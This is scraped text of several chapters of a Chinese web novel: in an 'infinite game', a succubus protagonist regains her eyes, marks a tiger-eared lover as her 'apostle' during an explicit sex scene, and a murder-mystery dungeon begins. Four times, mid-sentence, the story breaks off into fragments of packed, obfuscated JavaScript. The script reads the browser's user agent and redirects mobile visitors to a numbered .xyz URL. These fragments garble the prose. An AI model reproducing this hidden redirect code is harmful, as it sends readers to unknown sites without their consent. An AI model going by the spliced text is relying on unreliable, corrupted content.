l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710958|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和NPC海陵提供给她的身份。 那些都不算数。 宁汐柔必须要确立自己在海村中的身份,才算找到了“名字”。 芹秀兰和海陵的信仰给了她启发。 她不可能成为村民,也不是真正的巫女。 那么,她为什么不可以成为“神明”呢? 傀儡们渴望“活着”,那她就给予他们继续活着的力量。 魔躯中的雾气化作一只大手,抚过每一个傀儡的头顶,黑色雨滴一样的魔气落在他们血肉之下的木质躯体上。 傀儡们的生命来自于傀儡师的欲望供给,当傀儡师死去之后,他们没有了生命来源,自身的欲望会随着时间一点点从身体中泄露出去,生命也就随之终结。 宁汐柔现在做的,正如她对芹秀兰所做的那样: 魔气将他们的欲望封印在躯体中,傀儡们的求生欲供养魔气,维持封印的完好。 循环往复,傀儡不死。 “伟大的神明!感谢赐予我们生命,赐予我们这无上的荣光!” 村长激动得握不住拐杖,当然,他现在也不需要握住了。 他的身躯不再继续腐败,甚至渐渐完好愈合。 随着躯体愈合,感受到自己生机出现,他的信仰,海村傀儡们的信仰,此刻终于变得“真实”了。 手中的傀儡线一点点凝实,化作一颗深蓝近黑的宝石,内部蕴含着一条条发着光的丝线,汇聚成渺小而灿烂的宇宙。 宁汐柔若有所思。 是因为“信仰”的强关联力量,她才无法脱离副本吗? “这个副本的规则被你改变了。” 池隨冬的声音在她身后响起。 海神灯在魔气风刃中碎裂,随后又被无形的手重新拼凑成人形,一步步向高大的魔躯走来。 每走一步,白骨身躯都被粉碎一次。 十步的距离,挫骨扬灰,不过如此。 他没有停下。 “这里原本是无线游戏中的一个副本,在玩家通关后,就会被碎粉销毁,其中的能量重新被组成下一个副本。” 白骨说着。 “但现在,海神岛信仰着你,它,及其它上面的居民,都已经属于你了。游戏失去了对它的控制权,才无法把你带出去。” “理论上,我们都已经通关副本了。你只需要,把你和我,从你的领地放出去就是了。” 白骨笑了一下。 下一秒,眼前的一切场景化作光点溃散。 宁汐柔闭上眼,足有数层楼高的魔躯瞬间溃散,仅剩的一点魔力聚集在一起化作人性拟态。 她向下坠落。 “姐姐!” 柏景垣的声音在她耳边响起。 一双有力的手臂接住了她,将她抱在怀中。 她勉强睁开眼,看见离秽的面容。 沉静,坚毅,如同山峦连绵。 “……好累啊。” 宁汐柔笑了下,枕在离秽的手臂上。 “我需要,睡一会儿。” “好。” 离秽说。 “池隨冬……” 她又说。 “我会处理。” 离秽开口打断了她。 “对,有什么事情老大都会处理好的,我也会跟着帮忙的!姐姐,你先休息吧。” 柏景垣站在离秽身边。 他用完好的那只手轻轻握住宁汐柔垂落下来的手,试图将自己的体温传递给她。 宁汐柔看了他一眼,余光中隐隐晃过一具白骨。 她楞了一下,想说什么。 但困意来袭,她闭上眼,睡了过去。 54. 无限游戏服务器(5) 宁汐柔知道自己在做梦。 因为她的记忆中,其实从未出现过这个景象。 但她无法挣脱。 昏暗的月色下,看不清面孔的人群拥挤着,站在不远处。 她只能看到人头攒动间,天上露出一弯红色的月亮。 浓郁深红,月色闪动间,像是一只眼睛。 那眼睛里没有情绪,没有意志。 漠然而平静地,俯视着这世间所有。 宁汐柔感到一阵愤怒。 这种她不甚熟悉的情绪在胸膛处奔涌燃烧,比心跳声更响亮。 这很荒谬,她甚至没有心脏。 不,等等,她没有心脏吗? 宁汐柔的脑海中一阵刺痛,她忍不住想要伸手抱住自己的脑袋。 可是她做不到。 她没有手脚。 可她有一颗心脏,一颗跳动着的心脏。 她感受到血管中血液的奔涌,有一瞬间,她觉得自己好像是人类。 在这个噩梦中,她是人类吗? 明明还没有经历任何事情,但她就是知道,这是个噩梦。 “恶魔的使徒,你可承认自己所犯下的罪行吗?” 一个模糊的声音询问道。 它不是在问宁汐柔,它的声音朝向另一个方向。 宁汐柔的目光随着那个声音看过去。 那里伫立着一个人,面容同样被一片阴影笼罩。 宁汐柔看不见他的神情。 他安静地站着,没有回答, 只是突然抬起头,看着看向宁汐柔。 他的眼中一片空洞,只有火焰不息燃烧。 宁汐柔从梦中惊醒,她睁开眼,眼前是一片虚无。 哦,对,她的眼睛已经被挖出来了。 对于魅魔来说,人类的身体是拟态不假,但是眼睛是特殊的。 双眼只有一对,并不是可以随意用魔力组成的部分。 宁汐柔无声地叹了口气。 在副本中,为了让时间线的逻辑成立,她当时别无选择,只能将眼睛给了芹秀兰。 在使用本体时,魔力可以充当她观察世界的工具,勉强也能算是“眼睛”。 但这和真正的眼睛还是不一样的。 魔力只能帮助她观测外界生物欲望的颜色,但是除此之外,就没有别的了。 宁汐柔是魅魔,她对于“美”是有追求的。 人类世界中有一句话,吃饭追求的是“色香味”俱全。 如果看不见那些美丽的面孔和身体,她的进食乐趣会大打折扣。 她需要一双眼睛。 怎么才能拿到一双新的眼睛? 把芹秀兰的眼睛再挖出来? [叮!请玩家检查背包!] 在宁汐柔沉思时,耳边响起系统提示音。 检查背包? 宁汐柔想起自己在上个副本中得到了一个被离秽判断为神级武器的道具: [权杖·深渊之眼] 虽然当时离秽的表现十分凝重,看上去那应该是个很重要的东西。 然而,在上个副本中,宁汐柔几乎完全没有用上这个东西。 不过,此刻她的背包中,还静静躺着另一个东西。 菱形蓝宝石,墨蓝浓郁近黑色,内部无数傀儡丝凝结成晶体。 这是海村中傀儡们的信仰凝聚出的结晶。 宁汐柔本以为那是只属于副本的产物,没想到居然被她带了出来。 这个东西到底是什么? [宝石·傀儡之眼] 深渊之眼,信仰之眼…… 宁汐柔默默思考着。 一般来说,以“眼睛”来命名宝石相当常见。 但是这两个眼睛正好凑成一对,真的是巧合吗? [检测到道具为可使用状态,玩家是否使用“深渊之眼”?] [检测到道具为可使用状态,玩家是否使用“傀儡之眼”?] [是/否] 系统提示音不断响起,摸着手心被召唤出来的两个宝石,宁汐柔沉默片刻,开口: “是。” 两颗宝石同时震动起来,温度骤然变化。 红宝石冰冷,蓝宝石炽热。 在极冷与极热中,宝石碎裂成粉末,在她手中飘散。 随着手中宝石的触感消失,宁汐柔感到自己眼前的虚无世界也随时溃散。 颜色,形状,位置,世界的线条被重新描绘。 她睁开眼睛。 宁汐柔现在才意识到,自己正躺在一张柔软的大床上。 是她一贯最喜欢的真丝材质,床单微凉,触及肌肤,柔软,像是一个拥抱。 这是哪里? 她坐起身来,环视四周。 尽管还有些不太适应崭新的双眼,但重获视力依然让她心情不错。 “姐姐!你醒了?” 是柏景垣,他端着一盘早餐推开门,看到宁汐柔,眼中爆发出惊喜的光芒。 “你还好吗?你睡了好几天了,我真的要吓死了!” 他快步走上前来,放下手中的托盘,坐在宁汐柔身边,忽然神情一顿: “姐姐,你,你的眼睛……” 眼睛? 宁汐柔抬手抚上自己眼角的肌肤。 “你看。” 柏景垣从旁边的梳妆台上拿来一个小镜子,放在宁汐柔眼前。 在镜子中,宁汐柔的面容一如既往的柔和秀美。 只是原本纯黑色的双眼,此刻已经被一红一蓝的瞳孔取代。 深红墨蓝,独属于掠食者的野性一览无遗。 异色双眸中的野性桀骜刺破了五官的柔和。 仿佛猛兽脱下来了用于伪装食草动物的披风。 “你不问?” 宁汐柔看了一会儿,转头问柏景垣。 “姐姐想说,自然会说。我只要安静等着就好。” 柏景垣笑了笑,给宁汐柔盖上被子。 “我饿了。” 宁汐柔突然说。 “我拿了早餐,是鸡蛋吐司和牛奶。只是不知道你喜不喜欢。” 柏景垣说着,有些担忧的样子: “你一向不是太喜欢吃东西,但是现在还是吃点吧?我尽量做得很淡了。” “不想吃这个。” 宁汐柔看了一眼,没什么兴趣。 身为魅魔的宁汐柔,现在需要的是另一种能量。 “你之前不是带了点小玩意进副本吗?没用上,不觉得可惜吗?。” 她笑着问。 “当然可惜了。” 柏景垣几乎是瞬间明白了她的意思,眼睛一亮,又有点犹豫: “你现在还很虚弱,我可以等的。” “就是因为虚弱,所以才要好好吃一顿大餐。” 宁汐柔勾唇,抬手勾住他的脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711769|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,比平时更加冰冷的指尖划过青年的喉结。 “……好。” 柏景垣的喉结上下滚动了一下,声音也随着屋内温度的升高而染上哑意。 “你不害怕吗?明明都看到了。” 宁汐柔的指甲划过他的锁骨,饶有兴趣地问。 在上个副本中,柏景垣清清楚楚看到了宁汐柔的真实魔躯。 数层楼高,由浓郁近乎实质的魔力组成,混沌而巨大的魔神之躯。 宁汐柔并不在意在人类的审美观中自己的原身是美是丑。 狮子不会在意蚂蚁将如何评价自己的外貌。 但这并不妨碍她感到好奇。 柏景垣在看到过那样的景象之后,还能一如既往,半点不改变吗? 她这么想着,抬起手去摸青年的脸颊。 虽然拿回了视力,但她依然钟情于触感带来的别样火焰。 “我很激动。” 柏景垣顺从地低下头,任由她的动作。 “我看到了,姐姐很绚烂的一面。” “是吗?” 宁汐柔笑了,指尖划过他的唇瓣。 她并不一定相信这些东西。 或者说,柏景垣说的是真是假,在她心里并不重要。 但是小狗汪汪叫撒娇,摇着尾巴在腿边打转。 谁会不喜欢? “兽人,对吗?” 她舔了下唇瓣。 代替回答的是兽耳独特的皮毛触感。 宁汐柔忍不住抬手去摸,柔中带着韧,圆耳朵厚而软,是介于幼年与成年之间的老虎,力量感隐藏在撒娇时的颤动之下。 老虎尾巴的绒毛顺着锁骨而下,落在不着寸缕的腿间,圈住脚踝,极轻的力量,不是禁锢,是野兽献上驾驭自己的缰绳。 真丝的床单滑到会在动作间勾勒出令人惊讶的弧度,顺着弧度蔓延向下的是无法被风熄灭的火。 风雨吹过,雷鸣声声,宁汐柔听见镜子被摔在地上,在大理石地板上碎成无数片,声音清脆。 宁汐柔想起还在副本里的时候,想起柏景垣试图牵住她时,被魔力风刃割出深深痕迹时血肉卷起的伤口。 红色的血液滴滴答答顺着滑下去,落在地上,溶进泥土。 他浑然不觉,只是看着她,目光不曾有一刻犹疑。 落在唇边,锁骨,指节和脚踝的吻,他用自己所有的温度来温暖她。 用肌肤,用血肉,用所有的欲望和渴求来填满。 “姐姐,我永远,我永远都会,属于你的。” 情潮翻涌间,柏景垣呢喃低语,是不敢宣之于口的誓言,是封存在爱语亲昵中的虔诚。 宁汐柔没有回答他,柏景垣甚至不知道她是否听见了他的话。 他也并不想知道。 那不重要。 爱并不依靠双向的通道构成。 那是太霸道不讲理的东西,人从来无法在爱中胜利。 柏景垣只知道,自己此刻,此生,永远,不会忘记的每一个瞬间,都属于她。 他是信徒,是俘虏,是溃败的将士。 服务器中,系统提示音响彻。 [叮——叮——叮——] [现在是现实时间:新历0点0分0秒] [无限游戏祝所有玩家,新年快乐!] 在钟声响起时,她汗湿的头发拂过他的唇瓣。 这也算是一个吻。 55. 无限游戏服务器(6) 室内,床单顺着滑落在地上,真丝材质被灯光晕出暧昧的朦胧。 宁汐柔窝在柏景垣怀中,神色慵懒地把玩他的头发。 发丝柔软,细腻,微微蓬松,在灯光之下折射出淡金色。 老虎尾巴搭在她的小腿上,有一搭没一搭地轻轻晃动。 也不知道是不是因为刚才的不当使用过度,似乎有些害羞一样,不敢往宁汐柔眼前来。 尾巴的主人显然不与它共享这份羞怯。 柏景垣凑上去,头顶上的圆耳朵随着动作一颤一颤,与青年人带着野性暗潮的肌肉线条形成一种灼热而可爱的反差。 他握住宁汐柔的手腕,仰起头,轻轻咬了一下宁汐柔的手腕。 像小狗磨牙,不疼,只是一点濡湿的痒。 “姐姐。” 他说话时,声音带着还未褪去的哑。 “我美味吗?” 比起直白的爱语,这样的问题似乎更让柏景垣兴奋。 他忍不住又埋下头,在宁汐柔的锁骨处啄吻着。 宁汐柔会给自己的猎物打上标记,但并不喜欢对方留下痕迹。 柏景垣也很听话,吻只是吻。 “当然。” 宁汐柔从不吝啬于一点夸奖的甜头,指尖顺着青年的肩膀下滑,一直落到人鱼线。 虽然平时像是乖乖的小狗,但是该表现的时候,才会发现,这其实是一具属于老虎的身体。 野性,狂放,横冲直撞。 吃饱喝足之后心情不错,宁汐柔眼睛里带上一点笑意。 她满意地以目光巡视自己的领地,忽然,表情中露出了一点疑惑。 “怎么了?” 柏景垣问。 宁汐柔没回答,只是伸出手又确认了一遍。 掌心处传来人类皮肤的质感,她几乎可以感受到他呼吸绷紧时的脉搏跳动。 “……这是?” 柏景垣也低下头看去,不自觉楞了一下。 在人鱼线深处之上不远的位置,仿佛被印刻在肌肤上的图案。 由中心向外,紫色逐渐浓郁近黑,繁复纹路上泛着若繁星闪过的光泽。 中心处的图腾犹如荆棘花朵绽放,又仿佛一只深渊中沉睡的眼睛。 两边的花纹自图腾而生,盘旋交错,簇拥向上蔓延,在他呼吸时起伏明灭。 “哇。” 柏景垣不自觉感叹了一句,又抬起头看着宁汐柔,忽然笑了,眼神明亮: “好美啊,姐姐,让人一看就想到你。” 这是什么? 宁汐柔感受着那图腾上传来的奇异共鸣。 [叮!检测到玩家已使用:深渊之眼×1、傀儡之眼×1] [隐藏系列任务已激活!] [恭喜您开启隐藏系列任务:失落深渊] [任务奖励:???] [在“失落深渊”系列任务中,玩家需要收集并使用七个神器,在神器收集成功前,图鉴为锁定状态] [您已完成收集:2/7] [在系列任务中,玩家作为“魔神”可以选择标定自己的附庸协力者,“使徒”,使徒身上将会出现“魔神图腾”] [玩家可以在一定冷却期间内,“掠夺”使徒所持有的玩家技能] [每个使徒的掠夺冷却时长不定] [在系列任务中,玩家作为主导者,玩家有权力赐予“使徒”力量,“掠夺”使徒生命] [若玩家死亡,则所有使徒死亡,若使徒死亡,玩家不受影响] [请玩家努力完成任务!] 宁汐柔眼前突然弹出一块系统光幕,上面瞬间弹出十来行消息。 她一眼扫过去,不由得挑了下眉。 她这是把柏景垣“标记”了? 失落深渊?魔神?使徒? 还有,神器…… 应该是宁汐柔因为接连获得了神器并且使用了它们,才意外触发了这个任务。 这两个神器的来源是不一样的。 在第一个副本中,她完成了隐藏任务,获得了领主的权杖,也就是“深渊之眼”。 这是相对简单的。 而在第二个副本中,宁汐柔选择自己代替神的位置,成为海村的信仰,这不是任何任务的要求,而是她为了通关自己想出的奇招。 也正是因为她成为了海村傀儡们真正的信仰,她才会获得由傀儡丝线凝聚而成的蓝宝石“傀儡之眼”。 这么看来,这个任务的条件算得上苛刻。 神器的获得方式本就不固定,而且玩家们获得神器之后,绝大部分都会供起来,不管是为了保存底牌还是预防被人盯上,轻易不会使用。 这种保命用的东西需要接连用上两个,在那样的情形下,玩家有没有命开启这隐藏任务都是未知数。 这个系列任务的难度也很高。 需要再获得五个神器就算了,甚至在获得之前,该神器的图鉴还是锁定状态。 换而言之,在找到那个东西之前,宁汐柔并不知道那是个什么东西。 就好像拼拼图,她需要在一大片无用拼图中找到自己所需要的五片。 但是,是看着拼图背面来找。 宁汐柔有点想笑,气笑了。 不过,虽然难度荒谬,但仅仅是开启这个隐藏任务带来的好处,就已经足够可怕。 强大到可怕。 且不说那没有影子的另外五个神器。 单单只说“使徒”这个概念。 在这之前,宁汐柔听说过bug级别的玩家技能,就是池隨冬的傀儡技能。 他可以将木偶制作成自己的傀儡,激发木偶的“生命”,甚至可以将自己的玩家身份短暂共享给它们。 曾经,他应该就是用这个能力,将身为傀儡的芹秀兰伪装成了玩家,让芹秀兰以玩家身份,进入了宁汐柔的新人副本。 但比起“使徒”而言,“傀儡”甚至算不上什么了。 只要掌握了制造使徒的方法,宁汐柔就可以拥有一支由玩家构成的,永远附庸于她的军团。 甚至,她可以拥有无数条生命。 “真有意思。” 宁汐柔笑了一声。 进入无限游戏以来,这句话几乎快要成为她新的口头禅了。 但的确,比起枯燥庸碌的人类世界。 充满了困难,死亡,绝境和这些东西引起的极端欲执的无限游戏。 对于宁汐柔来说,可太有意思了。 另一边,柏景垣也看着自己眼前的光屏。 他的光屏上说得没有宁汐柔那么全面细致。 只是大体介绍了他作为“魔神之旅”任务的协力者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726182|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在已经被标记成为宁汐柔的“使徒。” 柏景垣简单看完了其他内容,目光停留在唯一一条红色加粗的字上: [请注意!请注意!] [您所绑定的“使徒”身份为附庸协力者] [若主导者死亡,您将随之死亡!] [为了您的生命安全,请您竭尽全力,保护主导者完成任务!] “姐姐……” 他转过头看着宁汐柔,喉结上下滚动了一下,声音艰涩: “现在,我真的属于你了。” 他握着宁汐柔的手,让她去摸自己跳动着的图腾,脸上泛起红晕,低声重复着: “我的技能,我的生命,我的一切,现在都是你的了……” “我是你的第一个使徒吗,姐姐?” 他低吟着,将带着热意的脸颊贴在她心脏的位置。 那里没有心跳声,他却半点不惊讶。 “我就知道,我从一开始就知道了。” 他低声说着,吻着那死寂的地方。 “是呀,你是我的第一个使徒。” 宁汐柔笑着回答,任由他的吻落下,与她相连。 魅魔宁汐柔,不管是在人类世界,还是无限游戏,都有过进食经历。 自然根据食物的水平,这些体验有好有坏。 但是不一样,现在不一样。 好像眼前遮盖视线的纱帘被拿开。 一切从未如此清晰,炽热,生动鲜明,连呼吸间的起伏都刻骨。 脉搏跳动,血液翻涌,无尽的欲与爱都奔流向她。 野兽利爪划破了真丝床单。 淘气的老虎受到了惩罚,被踩着头颅跪下,偷偷尝一点甜,藏在舌根底下。 一直到黑夜破晓又重复一遍,备受折磨的床单才终于被撕碎。 宁汐柔躺在自己专属的毛茸茸靠枕上,后背抵住仍然在发热的图腾。 “姐姐,老大给你传信息,说年蓁蓁从副本里回来了。” 柏景垣说。 他吻着她的头发,此刻声音已经哑的不成样子。 得意忘形汪汪叫的小狗付出了代价。 “好,我等下去见她。” 宁汐柔说。 之前宁汐柔进入《海村往事》副本去处理池隨冬的委托。 年蓁蓁则自己进入了另一个副本。 离秽有问过宁汐柔,需不需要她进入副本照顾年蓁蓁。 但在宁汐柔回答之前,年蓁蓁就已经光速拒绝了。 “离姐为了照顾我,耽误时间进一个新人副本,实在大材小用了。我很会苟的,你们放心好了!” 她说。 “她是不想欠你人情?” 当时,看着年蓁蓁离开之后,宁汐柔问离秽。 她能看出来年蓁蓁并不是真的怕麻烦离秽,至少欲望的颜色不是那么说的。 但是具体的情绪,她不太看得懂。 “不,她是想要自己下副本。嫌我耽误她变强了。你看不出来?” 离秽回答,有点打趣的意味。 宁汐柔确实没看出来。 但在听到这个答案的一瞬间,她发现自己居然一点也不意外。 是了,虽然长着一张圆圆和善脸。 但年蓁蓁欲望的颜色,从来都是浓郁的黑。 56. 无限游戏服务器(7) 宁汐柔来到了公会空间。 和她上次见到的书店不同,这里变成了一个卡丁车场,场地很大,包含了赛车区和休息区。 离秽和年蓁蓁就在那里等着她。 宁汐柔走过去,扫过不远处的电子记分屏。 那上面显示了几行字: [玩家战力榜] 1.傀儡师 2.音乐家 3.疗愈者 …… 7.狂战士 —— “魔神”的牌铭消失了。 宁汐柔意识到,这个面朝着休息区摆放的计分屏,估计不是一个巧合。 她的视线和离秽相触,随后又收回。 “你回来了?” 宁汐柔先问年蓁蓁。 对方的状态不算很好,身上包扎着好几处绷带,隐隐渗出血来。 眼下一片乌青,至少得有三四天没正经睡过觉了。 但年蓁蓁精神却很不错,眼睛是亮的,神情中算得上惬意松快。 看来她的这次副本收获不错。 “嗯,我回来了!” 年蓁蓁似乎很喜欢回答这个问题,声音里都带上笑。 “之前还真是错怪游戏系统了,我之前以为那个体力×10是我倒霉。但是要不是那个加成,我估计就死在副本里了!” 年蓁蓁进入的是一个生存类副本,竞速主题。 那是一个三十人的大型副本。 身份卡几乎没有内容,只显示所有玩家都是被投放到小岛的罪人,只有最后活下来的十个人才能离开这座岛屿。 在岛上生活着一群食人兽,它们没有视觉,夜间出行,依靠嗅觉寻找猎物。 它们速度极快。 玩家们甚至无法看清它们的身影,就会被吞吃干净,吐出骨头。 和夜晚的野兽对决,是没有胜算的愚蠢之举。 那么,怎么才能增加自己的生存几率? 简单,杀人。 杀到只剩最后三个,副本结束。 “要不是有了这个体力值,我肯定跑不过他们。” 年蓁蓁露出一个大大的笑容, “不过,幸好活下来了。” 她在说谎。 宁汐柔看着她灵魂里燃烧的火焰颜色,心下了然。 “原来如此,那你运气不错。” 没有追问或者戳穿,宁汐柔点点头。 “通关之后,系统除了常规奖励之外,还给了我一个特殊道具,我想请离姐帮忙看看。” 年蓁蓁说着,从玩家背包里拿出来一个黑色的信封,递给离秽。 离秽接过,打开信封,里面是三张黑底烫金字的邀请函。 [邀请函·谁杀了周承铭?] [亲爱的侦探们,平里市发生了一桩令人痛心的案件!平里市的市长,周承铭,被发现死在自己的办公室内,现场初步鉴定为他杀。] [然而,随着侦查工作的推进,我们逐渐陷入了困局中!] [嫌疑人已经锁定,可到底是谁杀了周承铭?] [侦探们,我们需要你们的帮助!] “副本钥匙?” 离秽有点惊讶,看向年蓁蓁: “一般的生存类副本没有什么隐藏任务可以刷,也不会产生这么高级的奖励。” 副本钥匙是极为少见的,只能用来开启高级副本的特殊道具。 这种道具往往只能在隐藏任务或者特殊支线任务中获得。 但年蓁蓁进入的只是一个普通生存类副本,通关率高达30%,最多加上了一点玩家互相厮杀的元素。 这样的难度,并不足以产生副本钥匙这个等级的道具。 “唔,可能是因为我是唯一一个活下来的人?” 年蓁蓁笑着说, “系统说,我为自己赢得了一次‘翻案重申’的机会。” “也就是说,如果你进入这个副本,你的身份不会是侦探,而是杀死那个NPC的嫌疑人。” 宁汐柔听明白了。 “应该吧?不过离姐说是好东西,那肯定没错。” 年蓁蓁似乎并不在意这个。 “宁姐,你要和我一起进去这个副本吗?如果是高级副本的话,应该有好东西!” 这个副本钥匙可供三个人使用。 除了道具持有者年蓁蓁必须进入副本之外,她还可以带两个人。 “好呀。” 宁汐柔点头。 当侦探听上去还挺好玩的。 “离姐呢?” 年蓁蓁这次对离秽发出了邀请。 “我就不去了,不爱动脑子。” 离秽摇摇头,又说: “不过,我可以给你推荐一个人。” 她话音刚落,赛车场上传来一阵尖锐刺耳的刹车声, 随即就是车头撞上防撞带发出的闷响。 卷发雀斑的少年打开车门,从驾驶座上摔下来,趴在地上吐得昏天暗地。 年蓁蓁都看傻了,半天才回过神,有点不可置信地问离秽: “离姐,你要给我们推荐的人选,不会就是……” “对,就是她。” 离秽毫不觉得有哪里不对劲的,对着趴在地上的少年招手: “七蔺,过来。” 被称为七蔺的少年从地上爬起来,擦干净嘴,转过向宁汐柔的方向跑过来。 说话之前,她还特意漱了口。 “老大,你叫我?” 七蔺问。 她踩着一双厚底马丁靴,工装裤,头上套了一件圆领背心,看上去比年蓁蓁还小,十七八岁,脸上还带着雀斑,头发蓬松爆炸,像顶毛线帽。 “嗯,这是你下个副本的队友。” 离秽说。 “哦,如果你们也愿意的话。” 离秽说完,又转过头看宁汐柔。 “你好,我是宁汐柔。” 宁汐柔回了一句,对着离秽摆手: “你别看我,那可不是我的副本钥匙。” “离姐认可的人,我没意见啊。” 年蓁蓁摇摇头,对着七蔺伸出手: “你好,我是年蓁蓁!” “我是七蔺。” 七蔺的手藏在口袋里,没伸出来。 但年蓁蓁的手也没往回收。 一,二,三…… 半分种之后,七蔺叹了口气,把手从裤袋里掏出来,轻轻用手背碰了一下年蓁蓁。 “厉害。” 离秽和宁汐柔站在一起,看着眼前的场景,不自觉感叹了一句。 “嗯?” 宁汐柔问。 “七蔺对人过敏,从来不碰人。她估计很喜欢小年。” 离秽说。 年蓁蓁的确很有亲和力。 不管是长相,还是神情,甚至肢体语言,都是舒展平和,又充满了积极情绪的。 和芹秀兰的无存在感一样,年蓁蓁的亲和力,也有种润物细无声的强大。 真是一个适合做嫌疑犯的人。 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740288|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汐柔想。 “你想,开卡丁车吗?” 七蔺慢吞吞地问。 意外的,她似乎并不像自己外表那样强势桀骜。 “好啊好啊!我还没试过呢!你教我吗?” 年蓁蓁笑着答应下来,两个人一起往已经打扫好的赛车场走去。 休息区此刻只有宁汐柔和离秽二人。 离秽似乎有话要说。 “你上个副本怎么样?” 离秽问。 “还行,委托是完成了。说起来,我的报酬呢?会长不会要自己私吞吧?” 宁汐柔打趣道。 “是啊,我私吞了好了。可惜,被你看见,来不及了。” 离秽笑了一声,拎出来一个盒子递给宁汐柔。 “傀儡师送来的。” “‘魔神’消失了,什么时候的事?” 宁汐柔一边接过盒子,一边说。 “果然是你。” 离秽说。 服务器中的玩家排行榜时,宁汐柔身在副本。 在她坠落在离秽怀中之后,那个突然出现抢占了玩家榜榜一的“魔神”,又突然消失了。 而当时,宁汐柔正处于昏迷状态。 如果“魔神”的消息是她从外界,例如柏景垣口中得到的,柏景垣必然会告诉她消失的时间点。 但宁汐柔只知道“魔神”的存在,却不知道它什么时候消失。 那只能是因为,她是作为玩家,在自己登上玩家排行榜的瞬间,听到了属于她的系统播报。 离秽并不惊讶于宁汐柔就是“魔神”,这没什么难猜的。 但她有点惊讶于另一件事。 “你就这么直接诉我了?” 离秽问。 “不能告诉你吗?我记得我们可是盟友。这种程度的情报还是要分享的。” 宁汐柔笑了,打开盒子。 砰—— 盒子中的礼花爆开,在一片彩带花瓣中,一个大约只有人手臂大小的木偶跳出来: “surprise!” 是池隨冬的人偶傀儡,缩小幼年版池隨冬。 就叫他,池小冬吧。 “你有没有想我?我想你了!之前装那个大块头好累啊!” 池小冬和自己的创造者截然相反,是个话痨。 他扒住宁汐柔的肩膀,机关枪一样突突突开始诉说自己在副本等了她多久,后半截被迫躲起来多可怜,需要亲亲抱抱来安慰。 不知道更像小孩还是更像小狗。 宁汐柔有些无奈地抬头拂去自己头上的花瓣,动作间却碰到了另一只手。 大而有力,骨节分明,掌心有一条很深的疤。 是离秽。 离秽为宁汐柔拂去发间的彩带和花瓣,低下头,神情专注,带着笑: “对,我们是盟友。” “那么,盟友,还有一件事,得告诉你。” 宁汐柔说。 她把小狗一样乱蹭的池小冬按在怀里,和离秽简单说了一下“失落深渊”系列任务的事。 说到柏景垣的使徒身份时,难得的,她停顿了一下。 不知怎么的,总有一种拐走了离秽小弟的感觉。 “嗐,他本来也是为了回去找你才加入[回程]的。我对这种大恋爱脑本来就没什么指望。” 离秽摆摆手,并不在意。 “那就好。” 宁汐柔点头,又问起了另一件事: “池隨冬和芹秀兰,你看到了吗?” 57. 谁杀了周承铭(1) “池隨冬我知道!我知道!” 在离秽的沉默中,木偶举起手,等待表扬: “他现在是个大骨头架子,可难看了!他躲起来了,把我送过来让我陪你!” “他?他什么时候外貌焦虑这么严重了?” 离秽有点疑惑。 她和池隨冬也算是认识多年了,只见过对方拖着断肢冷脸往前冲杀的画面。 哪里能想象出来有朝一日,池隨冬居然会因为自己不好看,就躲起来。 离秽感到这世界有点魔幻。 “那芹秀兰呢?” 宁汐柔对池隨冬的外貌焦虑倒是并不意外,又问起芹秀兰。 “没见过,也可能见过但是忘了。” 离秽耸肩。 她对芹秀兰那个诡异的低存在感可谓印象深刻。 “我还有事想问问他们呢。” 宁汐柔说。 “问我问我,我都知道的!” 池小冬踊跃举手。 “那,为什么池隨冬会委托离秽带着他的傀儡进入我的新人副本,这是他设计好的吗?” 宁汐柔把木偶拎到眼前,问道。 “唔……” 木偶托着小下巴,眼睛亮闪闪的看着宁汐柔: “你让我亲亲,我就告诉你!” “先说。” 宁汐柔弹了下他的脑门儿。 木偶哎呦哎呦地喊着痛,倒在她怀里,又偷偷摸了摸她的发梢,才说: “那个不算傀儡啦,算偶身,只是用来短暂承载他的意识,海神灯里有你的气息,他能感应到你在哪个副本里。 我们实在太久没有见到你了,所以才想来看看你的!” 木偶气愤起来,双手紧握成拳: “该死的池隨冬,他居然说什么偶身承受不住两个意识,居然不肯带我一起!” “哦,所以他才委托我,要在通关之前杀了他?” 离秽恍然大悟。 “对啊,因为偶身用的是他的玩家身份,在副本里可以骗过系统,但如果‘通关’了,那他的玩家身份就被固定在偶身身上了,那在海神岛的真身怎么办?” 木偶点头,又撇撇嘴, “不过反正真身也是骨头架子了,丑得要死。” “那芹秀兰也适合你们一起的?” 宁汐柔。 